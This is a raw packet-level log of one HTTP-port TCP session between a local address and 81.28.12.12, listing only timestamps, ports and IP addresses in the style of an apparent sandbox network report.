Jun 29, 2024 08:05:16.870697021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.870723009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.871011972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.871870995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872044086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.872441053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872523069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872556925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872591019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.872622013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872636080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.872668028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872700930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872734070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.872755051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.872788906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.877628088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.884934902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.884991884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885026932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885059118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885088921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885123014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885163069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885195017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885216951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885258913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885273933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885340929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885375023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885397911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885447979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885481119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885502100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885535955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885567904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885595083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885646105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885679960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885721922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885772943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885807037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885828972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885862112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885884047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885926962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.885955095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.885984898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886008978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886059999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886096001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886115074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886147976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886172056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886172056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886207104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886243105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886261940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886293888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886316061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886348963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886373997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886405945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886434078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886461973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886496067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886518002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886552095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886569977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886603117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886625051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886658907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886693954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886713028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886746883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886779070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886800051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886832952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886871099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886884928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886915922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.886943102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.886970997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887005091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887025118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887075901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887118101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887145042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887180090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887200117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887217999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887267113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887300014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887330055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887352943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887352943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887376070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887427092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887480021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887501955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887533903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887562037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887589931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887625933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887646914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887679100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887727976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887754917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887789011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887811899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887867928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.887887001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887922049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.887973070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888005018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888044119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888076067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888107061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888130903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888163090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888186932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888220072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888241053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888272047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888304949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888326883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888359070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888380051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888413906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888448000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888470888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888531923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888531923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888566017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888597965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888632059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888669968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888701916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888721943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888756037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888778925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888778925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888809919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888828993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888909101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.888923883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.888974905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889014006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889031887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889031887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889094114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889113903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889162064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889193058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889219046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889240026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889291048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889324903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889345884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889389992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889417887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889450073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889478922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889501095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889535904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889554024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889586926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889620066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889641047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889674902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889704943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.889729023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.889890909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956430912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956471920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956511974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956561089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956595898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956644058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956696033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956729889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956751108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956803083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956842899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956842899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956880093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956912994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.956945896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.956984997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.957005024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.957036018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.957068920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.957101107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.957134962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.957173109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.957206011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.957474947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.959999084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960058928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960093975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960114002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960135937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960184097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960206032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960236073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960273027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960293055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960325956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960346937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960380077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960400105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.960433960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.960515022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.961518049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961570978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961594105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.961642981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961663008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.961694002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961725950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.961746931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961780071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961816072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.961837053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.961869001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.962173939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974261999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974308014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974348068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974386930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974419117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974471092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974505901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974539995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974562883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974605083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974632025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974662066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974685907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974718094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974741936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974782944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974812031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974863052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974900007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974917889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.974952936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.974973917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975008965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975028992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975084066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975116968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975136995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975172997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975212097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975224972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975244045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975295067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975336075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975363016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975394964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975418091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975440979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975472927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975506067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975555897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975581884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975615025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975646019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975680113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975702047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975722075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975753069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975780010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975810051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975831985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975863934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975895882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975920916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.975950956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.975982904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976016045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976051092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976070881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976104975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976124048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976155043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976181984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976217031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976250887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976272106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976303101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976339102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976361036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976381063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976411104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976444006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976476908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976541996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976574898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976598978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976636887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976650953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976682901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976705074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976705074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976761103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976783037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976814032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976846933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976871014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976911068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.976938009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.976969004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977014065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977035046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977065086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977118015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977153063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977171898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977202892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977226019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977269888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977297068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977332115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977374077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977402925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977446079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977473021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977504969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977521896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977562904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977590084 CEST	80	49731	81.28.12.12	192.168.2.4
